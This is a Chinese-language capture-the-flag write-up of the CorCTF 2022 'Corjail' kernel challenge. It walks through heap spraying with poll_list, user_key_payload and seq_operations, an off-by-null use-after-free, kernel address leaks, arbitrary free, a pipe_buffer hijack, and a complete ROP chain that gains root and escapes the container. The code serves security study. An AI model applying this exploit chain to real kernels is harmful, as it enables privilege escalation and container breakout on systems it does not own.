CorCTF2022-Corjail

henry Lv4

CorCTF2022-Corjail

环境搭建参考:https://www.52pojie.cn/thread-1849189-1-1.html

学习链接参考:https://syst3mfailure.io/corjail/

​ 这道题目环境弄起来还挺恶心的,搭环境废了我大半天,最关键的是我的 ubuntu22 里的 gcc 版本比较高,导致这道内核题不支持最新的线程库,gcc 降版本也不好使,然后只好换到 ubuntu20。同时还要吐槽一点的是,这道题原理其实还是比较容易清晰易懂的。但是!,实践起来才知道堆喷有多恶心,堆块老是命不中(从开始到打通花了我一天半),通过这道题可以从原作者 D3vil 学到很多关于堆喷的技巧,这一点我也会在后面进行说明。

前置知识

先来对这道题用到的知识简单概括总结

tty_struct

每打开一个 /dev/ptmx 文件,都会生成一个 tty_file_private(kmalloc-32)tty_struct(kmalloc-1024) 结构体。

1
2
3
4
5
6
/* Each of a tty's open files has private_data pointing to tty_file_private */
struct tty_file_private {
struct tty_struct *tty;
struct file *file;
struct list_head list;
};

一个是 magic 这里保存的是一个魔数 0x5401,可以用该数来方便判断当前堆块是否是一个 tty_struct 结构体,值的注意的是它的 tty_operations 字段,里面包括了对设备文件操作所对应的函数表,我们可以通过劫持这个字段来完成控制流劫持。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops; //重要
int index;

/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;

struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
/*
* Writes protected by both ctrl lock and legacy mutex, readers must use
* at least one of them.
*/
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;

struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock; /* protects tty_files list */
struct list_head tty_files;

#define N_TTY_BUF_SIZE 4096

int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
} __randomize_layout;

tty_operations 结构体内容如下,可以看到里面定义了很多函数指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
int (*get_serial)(struct tty_struct *tty, struct serial_struct *p);
int (*set_serial)(struct tty_struct *tty, struct serial_struct *p);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;
1
2
close ==> pty_close

seq_operations

可以达到泄露内核地址,还有劫持内核执行流的作用。

​ 在 打开一个 stat 文件时(如 /proc/self/stat )便会在内核空间中分配一个 seq_operations 结构体,该结构体定义于 /include/linux/seq_file.h 当中,只定义了四个函数指针,如下:

参考链接:https://elixir.bootlin.com/linux/v4.19.300/source/include/linux/seq_file.h#L32

1
2
3
4
5
6
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};

​ 当 read 一个 stat 文件时,内核会调用其 proc_ops 的 proc_read_iter 指针,其默认值为 seq_read() 函数,定义于 fs/seq_file.c 中:

参考链接:https://elixir.bootlin.com/linux/v4.4.298/source/fs/seq_file.c

1
2
3
4
5
6
7
ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos)
{
struct seq_file *m = file->private_data;
size_t copied = 0;
...
p = m->op->start(m, &pos);
...

​ 即其会调用 seq_operations 中的 start 函数指针,那么我们只需要控制 seq_operations->start 后再读取对应 stat 文件便能控制内核执行流

user_key_payload

知识点较多,参考这里:a3’s blog

简单理解,就是这个结构体我们可以用来进行内核堆占位,用来堆喷和实现越界读都是不错的选择(我们这道题的做法)。

1
2
3
4
5
struct callback_head {
struct callback_head *next; //内核堆地址
void (*func)(struct callback_head *head); //内核函数地址
} __attribute__((aligned(sizeof(void *))));
#define rcu_head callback_head
1
2
3
4
5
struct user_key_payload {
struct rcu_head rcu; /* RCU destructor */
unsigned short datalen; /* length of this data */
char data[] __aligned(__alignof__(u64)); /* actual data */
};

sys_poll

1
2
#include <poll.h>
int poll(struct pollfd *fds, nfds_t nfds, int timeout);
  • fds:指向 struct pollfd 数组的指针,数组中包含要监视的文件描述符和关注的事件。
  • nfdsfds 数组中的元素个数。
  • timeout:超时时间,单位是毫秒;如果设置为负数,表示无限等待;如果设置为0,则立即返回而不等待。

linux内核为用户态进程提供了一组IO相关的系统调用: select/poll/epoll, 这三个系统调用功能类似, 在使用方法和性能等方面存在一些差异。使用它们, 用户态的进程可以”监控”自己感兴趣的文件描述符, 当这些文件描述符的状态发生改变时, 比如可读或者可写了, 内核会通知进程去处理, 这里的文件描述符可以是socket, 设备文件, 管道等.

相关结构体如下:

1
2
3
4
5
6
7
8
9
10
11
struct pollfd {
int fd;
short events;
short revents;
};

struct poll_list {
struct poll_list *next; // [1]
int len; // [2]
struct pollfd entries[]; // [3]
};

其中 poll_list 由三个字段组成,其中 next 指向下一个 poll_list 结构体(伪造该字段可以实现任意地址释放),其中 len 字段为 entries 的数量,每一个 entries 条目大小占 8 字节(即 pollfd 结构体大小)。其中 entries 中具体条目内容由用户指定,即 fd,events,revents。

当调用一个 poll 系统调用时,do_sys_poll() 就会被内核调用,该函数负责完成:分配堆块,并完成我们传入的 pollfd 结构体内容的复制操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#define POLL_STACK_ALLOC 256
#define PAGE_SIZE 4096

#define POLLFD_PER_PAGE ((PAGE_SIZE-sizeof(struct poll_list)) / sizeof(struct pollfd))

#define N_STACK_PPS ((sizeof(stack_pps) - sizeof(struct poll_list)) / \
sizeof(struct pollfd))

[...]

static int do_sys_poll(struct pollfd __user *ufds, unsigned int nfds,
struct timespec64 *end_time)
{

struct poll_wqueues table;
int err = -EFAULT, fdcount, len;
/* Allocate small arguments on the stack to save memory and be
faster - use long to make sure the buffer is aligned properly
on 64 bit archs to avoid unaligned access */
long stack_pps[POLL_STACK_ALLOC/sizeof(long)]; // [1] 快速分配(来自于栈)
struct poll_list *const head = (struct poll_list *)stack_pps;
struct poll_list *walk = head;
unsigned long todo = nfds;

if (nfds > rlimit(RLIMIT_NOFILE))
return -EINVAL;

len = min_t(unsigned int, nfds, N_STACK_PPS); // [2]

for (;;) {
walk->next = NULL;
walk->len = len;
if (!len)
break;

if (copy_from_user(walk->entries, ufds + nfds-todo,
sizeof(struct pollfd) * walk->len))
goto out_fds;

todo -= walk->len;
if (!todo)
break;

len = min(todo, POLLFD_PER_PAGE); // [3] //长度超过一页时,分批复制
walk = walk->next = kmalloc(struct_size(walk, entries, len),
GFP_KERNEL); // [4] //根据我们传入的 nfds 来设置结构体大小
if (!walk) {
err = -ENOMEM;
goto out_fds;
}
}

poll_initwait(&table);
fdcount = do_poll(head, &table, end_time); // [5]
poll_freewait(&table);

if (!user_write_access_begin(ufds, nfds * sizeof(*ufds))and)
goto out_fds;

for (walk = head; walk; walk = walk->next) {
struct pollfd *fds = walk->entries;
int j;

for (j = walk->len; j; fds++, ufds++, j--)
unsafe_put_user(fds->revents, &ufds->revents, Efault);
}
user_write_access_end();

err = fdcount;
out_fds:
walk = head->next;
while (walk) { // [6]
struct poll_list *pos = walk;
walk = walk->next;
kfree(pos); //根据 poll_list *next 来依次释放 poll list 结构体
}

return err;

Efault:
user_write_access_end();
err = -EFAULT;
goto out_fds;
}

从上面的代码可以看到,该函数支持快速分配,起初会从栈上分配一块空间用来存放 poll_list 结构体,若不够用则才会触发下面 kmalloc 操作(慢速分配)。可以发现 stack_pps 的大小为 256 字节,其中 poll_list 结构体头部占 0x10 字节,entries 从 0x10 处开始分配,则我们可以计算得到我们传入 30 == (256-16)/8 个大小的 pollfd 时才会用光用于快速分配得到的 256 字节。

同理如果需要再申请一页大小的 poll_list 我们传入的 pollfd 个数为 510 == (4096-16)/8 POLLFD_PER_PAGE

也就是说当我们传入 540 个 pollfd时,理论上才是从内存真正分配了一页,理解了这一点,相信这道题从理解程度来讲你已经成功了一半,就能理解后面 exp 中 alloc_poll_list 板子中的代码。

1
2
3
4
/* nfds need modify :) */
//下面减去的是 poll_list 的头部大小,才能申请到最终申请的size
want_size = want_size - ((want_size/PAGE_SIZE)+1)*POLL_LIST_SIZE;
nfds = (N_STACK_PPS + want_size)/POLLFD_SIZE;

再进一步,如果我们传入 30 + 510 + 1 个 pollfd 呢,此时剩下那一个多出来一页的长度了,所以会再次调用 kmalloc-32 (0x8 + poll_list header),申请一个 0x20 大小的堆块,结合原作者的图来理解

nipaste_2024-04-16_20-03-4

现在我们应该对这个结构体的理解清晰多了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
void init_fd(int i){
fds[i] = open("/etc/passwd", O_RDONLY);
if (fds[i] < 0) err_msg(" init_fd()");
}

void *alloc_poll_list(void *args){

struct pollfd *pfds;
int id, want_size, timeout, nfds, hang;
id = ((struct poll_args *)args)->t_id;
want_size = ((struct poll_args *)args)->size;
timeout = ((struct poll_args *)args)->timeout;
hang = ((struct poll_args *)args)->hang;

/* nfds need modify :) */
want_size = want_size - ((want_size/PAGE_SIZE)+1)*POLL_LIST_SIZE;
nfds = (N_STACK_PPS + want_size)/POLLFD_SIZE;
// printf("nfds == %d \n", nfds);

pfds = calloc(nfds, sizeof(struct pollfd));
for(int i = 0; i < nfds; i++){
pfds[i].fd = fds[0];
pfds[i].events = POLLERR;
}
bind_thread_core(0);
pthread_mutex_lock(&mutex);
poll_threads++;
pthread_mutex_unlock(&mutex);
poll(pfds, 8, timeout);
bind_thread_core(randint(1,3));

if(hang){
pthread_mutex_lock(&mutex);
poll_threads--;
pthread_mutex_unlock(&mutex);
while(1){}
}
return NULL;
}


void create_poll_thread(int id, size_t size, int timeout, int hang){
int judge;
struct poll_args *args;
if(id < 0 || size < 0 || timeout < 0){
printf("[x]create_poll_thread: Wrong argument!");
exit(1);
}

/* Include the poll_list head */
if(!(size%PAGE_SIZE == 0 || size%PAGE_SIZE > 0x10)){
printf("[x]create_poll_thread: size you want have to be suitable!\n");
exit(1);
}
args = calloc(1, sizeof(struct poll_args));
if(args == NULL){
err_msg("Calloc faield!");
}
args->t_id = id;
args->size = size;
args->timeout = timeout;
args->hang = hang;

if(pthread_create(&poll_tid[id], NULL, alloc_poll_list, args) != 0){
perror("pthread created failed");
exit(1);
}
}

void join_poll_threads(void){
for (int i = 0; i < poll_threads; i++){
pthread_join(poll_tid[i], NULL);
open("/proc/self/stat", O_RDONLY);
}
poll_threads = 0;
}

环境说明

题目链接:https://2022.cor.team/challs

nipaste_2024-04-26_09-22-1

packfile.sh

1
2
3
4
gcc  -pthread -static -masm=intel ./exp.c -o exploit -lkeyutils
bash mount.sh
sudo cp ./exploit /tmp/hoge/
bash umount.sh

mount.bash

1
2
3
4
5
6
7
8
9
10
11
12
### mount.bash
#!/bin/bash
set -eu

MNTPOINT=/tmp/hoge
QCOW=$(realpath "${PWD}"/../build/coros/coros.qcow2)

sudo modprobe nbd max_part=8
mkdir -p $MNTPOINT
sudo qemu-nbd --connect=/dev/nbd0 "$QCOW"
sudo fdisk -l /dev/nbd0
sudo mount /dev/nbd0 $MNTPOINT

umount.bash

1
2
3
4
5
6
7
8
9
### umount.bash
#!/bin/bash

set -eu
MNTPOINT=/tmp/hoge

sudo umount $MNTPOINT || true
sudo qemu-nbd --disconnect /dev/nbd0
sudo rmmod nbd

静态分析

漏洞作者给的很清楚,对 cormon 文件write时,触发一个字节的溢出。

nipaste_2024-04-26_09-26-4

漏洞利用

动态分析

nipaste_2024-04-26_09-29-3

这个文件列举了作者允许的一些系统调用,可以看到我们熟悉的 msg_msg 已不复存在。

Step.1 Clear all the partial slab for per CPU by seq_operations

先将 partial slab 中的 page 给清光,确保我们后面申请到的 page 都是来自 buddy system 的页。

1
2
3
4
5
6
// Step.1 Clear all the partial slab for per CPU by seq_options
for (int i = 0; i < 2048; i++){
seq_fd[i] = open("/proc/self/stat",O_RDONLY);
if (seq_fd[i] < 0) err_msg("Fail seq_fd");
}
output_msg("Finish spraying seq_opt.");

Step.2 Spray user_key_payload(kmalloc-32) & poll_list(kmalloc-32)

需要强调的是这道题目没有开 MEMCG 保护

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// Step.2 Spray user_key_payload(kmalloc-32) & poll_list(kmalloc-32)
output_msg("Spraying half of the user_key_payload");
memset(buf, 0, 0x1000);
for (int i = 0; i < 72; i++){
*(size_t *)&desc[0] = i+1;
setxattr("/home/user/.bashrc", "user.x", buf, 0x20, 0);
keyid[i] = key_alloc(desc, buf, 0x20 - 0x18);
if (keyid[i] < 0) err_msg("Fail key_alloc");
}

// this for spray poll_list(kmalloc-32) & poll_list(kmalloc-4096)
output_msg("Spraying poll_list(kmalloc-32) & poll_list(kmalloc-4096)");
bind_core(randint(1, 3));
for (int i = 0; i < 14; i++){
create_poll_thread(i, 0x1000+0x20, 3000, 0);
}
bind_core(0);
while(poll_threads != 14){};
usleep(250000); //this step is very important to influence success rate

output_msg("Spraying the other half of the user_key_payload");
for (int i = 72; i < SPRAY_KEY_NUM; i++){
// snprintf(desc, 0x100, "%d + %s", i, "henry");
*(size_t *)&desc[0] = i+1;
setxattr("/home/user/.bashrc", "user.x", buf, 0x20, 0);
keyid[i] = key_alloc(desc, buf, 0x20 - 0x18);
if (keyid[i] < 0) err_msg("Fail key_alloc");
}

注意事项:这里解释一下为什么要有 bind_core(randint(1, 3)); 操作,我们都知道这一步是把当前进程绑定到另外一个 cpu 执行,同理该进程的堆块也从新 cpu 处获得,由于我们 poll_list 中是创建线程去轮询,如果依旧与 cpu0 绑定,这无疑会为我们目前的 cpu0 的内存布局增加很多噪音,使我们的堆喷更加不稳定。那么问题来了这样做岂不是 poll_list 分配的堆块也来自于其他 cpu,其实很简单,我们只需要在线程执行的时候再去执行 bind_thread_core(0),这样就能减少很多噪音了,不得不说这一步在堆喷时增加稳定性带来了极大地提高。

这一步依次堆喷 user_key_payload –> poll_list –> user_key_payload,形成下面的内存布局(图片来自**d3vil ** )。其中绿色代表 poll_list 结构体,橙色代表 user_key_payload。同时这道题限制了 user_key_payload 的申请次数(随着申请大小变换)。

nipaste_2024-04-26_09-29-3

下图为我们调用 write(cormonfd, buf, 0x1000) 时对应的内存分布,poll_list 和 user_key_payload 都是正常的链接情况。

nipaste_2024-04-26_12-36-3

nipaste_2024-04-26_12-39-3

一字节溢出之后的情况如下,可以看到 poll_list next 已经成功指向了 user_key_payload。

注意事项:poll_list 在检测到设置的 timeout 到期后,会自动触发 kfree,这也就意味着我们下面的 user_key_payload 会被 free 掉,这样我们就获得到了一个 uaf 的堆块,我们后面可以想办法通过堆喷占位到该 UAF 堆块,覆盖其 datalen 字段为一个更大值,从而实现越界读泄露地址

nipaste_2024-04-26_12-44-4

我们需要知道的是为什么在申请一个 user_key_payload 之前要通过 setxattr(“/home/user/.bashrc”, “user.x”, buf, 0x20, 0); 这一步,其实理解起来很简单,就是我们让后面零字节溢出时,poll_list(kmalloc-4096) 的 next 指针指向 user_key_payload (伪 poll_list ) 时,对应的 next 字段为 NULL。不然可能会继续触发 kfree 释放一个无效堆地址。

其实总结来说,这是 user_key_payload 中的 rcu 字段没有初始化才造成的原因。

Step.3 trigger off-by-null by write(cormon_fd, data, PAGE_SIZE)

1
2
3
4
5
6
7
//Step.3 trigger off-by-null by write(cormon_fd, data, PAGE_SIZE)
output_msg("trigger off-by-null");
write(cormon_fd, buf, PAGE_SIZE); //overwrite b'\x00' & change poll_list next pointer to user_key_payload

//release all the poll_list struct
printf("[*] wait all the poll_list released!\n");
join_poll_threads();

上一步我们已经演示了溢出 0 字节之后的效果。

nipaste_2024-04-26_12-44-4

Step.4 spray seq_operaions struct to fill UAF & Step.5 leak kernel_offset addr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
//Step.4 spray seq_operaions struct to fill UAF
printf("[*] spray seq_operation struct to get UAF user_key_payload\n");
for (int i = 0; i < SEQ_SPRAY_NR; i++){ //spray two pages seq_operations
seq_spray_fd[i] = open("/proc/self/stat", O_RDONLY);
if (seq_spray_fd[i] < 0) perror("fail open stat");
}

printf("[*] try to implement OOB read\n");
for (int i = 0; i < SPRAY_KEY_NUM; i++){
if (key_read(keyid[i], buf, 0xffff) > 0x10){
printf("[*] you find corrupted user_key_payload: keyid[%d]\n", i);
uaf_key_id = i;
break;
}
}

//Step.5 leak kernel_offset addr
if (uaf_key_id == -1) err_msg("Fail OOB read, plz try again");
memset(buf, 0, 0x1000);
key_read(keyid[uaf_key_id], buf, 0xffff); //only read_size(0xffff) > datalen the read ops will success
for (int i = 0; i < 0x1000/8; i++){
if ((*(size_t *)&buf[i*8] & 0xfff) == 0x5c0){
kernel_offset = *(size_t *)&buf[i*8] - 0xffffffff813275c0; //proc_single_show
kernel_base = 0xffffffff81000000 + kernel_offset;
print_addr("kernel_base", kernel_base);
print_addr("kernel_offset", kernel_offset);
// print_binary(buf, 0x400);
break;
}
}

这一步中我们先用 seq_operations 堆喷 uaf 堆块,然后越界读泄露地址

nipaste_2024-04-26_14-21-4

这里泄露的其实就是上图中的 proc_single_show 函数地址,对应 user_key_payload 中的 data,刚好可以泄露出内核函数地址。

同时第五步我们释放所有 user_key_payload 之后(除了 uaf obj),再用 tty_file_private 进行堆占位,这个结构体前面已经讲过,它里面的第一个指针指向一个 tty_struct,我们可以通过越界读泄露该地址,然后在通过 poll_list 任意地址释放完成利用。

nipaste_2024-04-26_14-12-2

nipaste_2024-04-26_14-21-4

Step.6 leak heap_addr of tty_strut(kmalloc-1024) by tty_file_private(0x20)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
printf("[*] release all the seq_ops replaced by the tty_file_private\n");
for (int i = 0; i < SPRAY_KEY_NUM; i++){
if (i != uaf_key_id){
key_revoke(keyid[i]);
key_unlink(keyid[i]); // release key struct real
}
}
sleep(1);
for (int i = 0; i < 90; i++){
tty_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
if (tty_fd[i] < 0) perror("fail open ptmx");
}

memset(buf, 0, 0x1000);
//OOB read to leak tty_struct addr
key_read(keyid[uaf_key_id], buf, 0xffff);
for (int i = 0; i < 0x1000/8; i++){
if (*(size_t *)&buf[i*8] > 0xffff888000000000 &&
*(size_t *)&buf[i*8] < 0xffffc80000000000 &&
*(size_t *)&buf[i*8] % 0x400 == 0 &&
(*(size_t *)&buf[i*8] & 0xfff) != 0){
tty_struct_addr = *(size_t *)&buf[i*8];
print_addr("tty_struct_addr", tty_struct_addr);
break;
}
}

跟上一步一样,都是在 OOB 泄露地址。

Step.7 hijack control flow by pipe_buffer

这一步操作有点多,我们慢慢来说,这也是我调试过程中耗时最多的一个阶段。一处代码没写好,可能直接导致整个堆喷策略失败,导致 panic。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
for (int i = 0; i < SEQ_SPRAY_NR; i++){
close(seq_spray_fd[i]);
}

// debug("pause1 here");
output_msg("Spraying poll_list(kmalloc-32)");
bind_core(randint(1, 3));
for (int i = 0; i < 0x100; i++){
create_poll_thread(i, 24, 5000, 1);
}
bind_core(0);
debug("pause2 here");
while(poll_threads != 0x100){};
usleep(250000); //this step is very important to influence success rate

这里先释放之前分配的所有 seq_operation 结构体,其中就包括 uaf obj,然后我们堆喷 poll_list 结构体进行占位 uaf obj。下图中左侧绿色即为 poll_list 结构体。

nipaste_2024-04-26_14-21-4

调试界面如下(由于我这里重新跑了一下,所以可能跟前面的地址对不上):

nipaste_2024-04-26_15-21-4

再来看看下一步操作,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
key_revoke(keyid[uaf_key_id]);
key_unlink(keyid[uaf_key_id]); //release uaf obj
sleep(1);

memset(buf, 0, 0x1000); //remember clear buf
*(size_t *)&buf[0] = tty_struct_addr - 0x18; // target addr f0r arb free
memset(desc, 0, 0x10);
for (int i = 0; i < 198; i++){
sprintf(desc, "payload_%d", i);
setxattr("/home/user/.bashrc", "user.x", buf, 0x20, 0);
keyid[i] = key_alloc(desc, buf, 0x20 - 0x18);
// printf("keyid[%d] == %d\n", i, keyid[i]);
if (keyid[i] < 0) err_msg("Fail key_alloc");
}

这一步实际上是完成前面中右侧的效果,即再次释放 uaf obj,通过 user_key_payload 堆喷获得,利用未初始化,将 poll_list 的 next 指针赋值为前面泄露的 tty_struct 目标地址,即可完成任意地址释放。

nipaste_2024-04-26_15-28-3

nipaste_2024-04-26_15-30-4

通过与前一张调试图来比较,可以发现同样的地址,这里 poll_list 中的 next 字段已经被我们设置为了 tty_struct 所在的地址,设置为其前面的 0x18 字节,是因为我们 user_key_payload 头部要占 0x18 个字节,所以这样我们在申请到堆块后,data 直接从 tty_struct 开始的位置进行伪造

在看下一步,这里我们其实已经可以堆喷 kmalloc-1024 大小的 user_key_payload 获得上一步任意地址释放的堆块写 tty_struct 完成劫持程序执行流,但原作者在这一步通过 pipe_buffer 来完成利用,原因在于 tty_ops 劫持过程中存在较多的检查(后面还要从 docker 里面逃逸到宿主机),所以由于 pipe_buffer 和 tty_struct 从大小相同的 kmalloc-1024 处分配,所以这里使用 pipe_buffer 劫持执行流更为方便。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// release all the tty struct for pipe_buffer
for (int i = 0; i < 90; i++){
close(tty_fd[i]);
}
sleep(1);
//debug("pause3 here");

printf("[*] spray pipe_buffer to obtain UAF obj\n");
for (int i = 0; i < 0x500; i++){
if (pipe(pipe_id[i])) err_msg("Fail pipe");
if (write(pipe_id[i][1], "bsd_henry", 10) < 0) err_msg("Fail write pipe"); //activate pipe_buffer
}

//debug("pause4 here");

// wait poll list arb free --> tty_struct(filled by pipe_buffer now)
printf("[*] wait until all the poll_list released! ==> arb free\n");
while (poll_threads != 0) { };

nipaste_2024-04-26_15-30-4

这里我们已经堆喷 pipe_buffer 占位了我们释放的 tty_struct 结构体了。

nipaste_2024-04-26_15-44-2

这一步我们向 buff 写入 ROP,然后堆喷获取到 pipe_buffer 的堆块,然后写 payload 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
printf("[*] release all the key and alloc again(kmalloc-1024) to write pipe_buffer\n");
for (int i = 0; i < 198; i++){
key_revoke(keyid[i]);
key_unlink(keyid[i]); // release key struct real
}
sleep(3);

memset(desc, 0, 0x100);
for (int i = 0; i < 31; i++){
sprintf(desc, "bsd_henry_%d", i);
keyid[i] = key_alloc(desc, buff, 600);
// printf("keyid[%d] == %d\n", i, keyid[i]);
if (keyid[i] < 0) err_msg("Fail key_alloc");
}

The Exploit - Container Escape

由于懒得找 gadget,而且对容器逃逸了解的较少,所以这里直接把作者的链子拿过来用了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
char *buff = (char *)calloc(1, 1024);

// Stack pivot
*(uint64_t *)&buff[0x10] = tty_struct_addr + 0x30; // anon_pipe_buf_ops
*(uint64_t *)&buff[0x38] = kernel_offset + 0xffffffff81882840; // push rsi ; in eax, dx ; jmp qword ptr [rsi + 0x66]
*(uint64_t *)&buff[0x66] = kernel_offset + 0xffffffff810007a9; // pop rsp ; ret
*(uint64_t *)&buff[0x00] = kernel_offset + 0xffffffff813c6b78; // add rsp, 0x78 ; ret

// ROP
uint64_t *rop = (uint64_t *)&buff[0x80];

// creds = prepare_kernel_cred(0)
*rop ++= kernel_offset + 0xffffffff81001618; // pop rdi ; ret
*rop ++= 0; // 0
*rop ++= kernel_offset + 0xffffffff810ebc90; // prepare_kernel_cred

// commit_creds(creds)
*rop ++= kernel_offset + 0xffffffff8101f5fc; // pop rcx ; ret
*rop ++= 0; // 0
*rop ++= kernel_offset + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
*rop ++= kernel_offset + 0xffffffff810eba40; // commit_creds

// task = find_task_by_vpid(1)
*rop ++= kernel_offset + 0xffffffff81001618; // pop rdi ; ret
*rop ++= 1; // pid
*rop ++= kernel_offset + 0xffffffff810e4fc0; // find_task_by_vpid

// switch_task_namespaces(task, init_nsproxy)
*rop ++= kernel_offset + 0xffffffff8101f5fc; // pop rcx ; ret
*rop ++= 0; // 0
*rop ++= kernel_offset + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
*rop ++= kernel_offset + 0xffffffff8100051c; // pop rsi ; ret
*rop ++= kernel_offset + 0xffffffff8245a720; // init_nsproxy;
*rop ++= kernel_offset + 0xffffffff810ea4e0; // switch_task_namespaces

// new_fs = copy_fs_struct(init_fs)
*rop ++= kernel_offset + 0xffffffff81001618; // pop rdi ; ret
*rop ++= kernel_offset + 0xffffffff82589740; // init_fs;
*rop ++= kernel_offset + 0xffffffff812e7350; // copy_fs_struct;
*rop ++= kernel_offset + 0xffffffff810e6cb7; // push rax ; pop rbx ; ret

// current = find_task_by_vpid(getpid())
*rop ++= kernel_offset + 0xffffffff81001618; // pop rdi ; ret
*rop ++= getpid(); // pid
*rop ++= kernel_offset + 0xffffffff810e4fc0; // find_task_by_vpid

// current->fs = new_fs
*rop ++= kernel_offset + 0xffffffff8101f5fc; // pop rcx ; ret
*rop ++= 0x6e0; // current->fs
*rop ++= kernel_offset + 0xffffffff8102396f; // add rax, rcx ; ret
*rop ++= kernel_offset + 0xffffffff817e1d6d; // mov qword ptr [rax], rbx ; pop rbx ; ret
*rop ++= 0; // rbx

// kpti trampoline
*rop ++= kernel_offset + 0xffffffff81c00ef0 + 22; // swapgs_restore_regs_and_return_to_usermode + 22
*rop ++= 0;
*rop ++= 0;
*rop ++= (uint64_t)&win;
*rop ++= user_cs;
*rop ++= user_rflags;
*rop ++= (uint64_t)(user_sp + 0x5000);
*rop ++= user_ss;

最终效果如下:

历经将近两天的时间终于拿到了我最想看到的东西 root!成功率虽比不上原作者的,但感觉也不低。

nipaste_2024-04-26_15-49-5

final exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
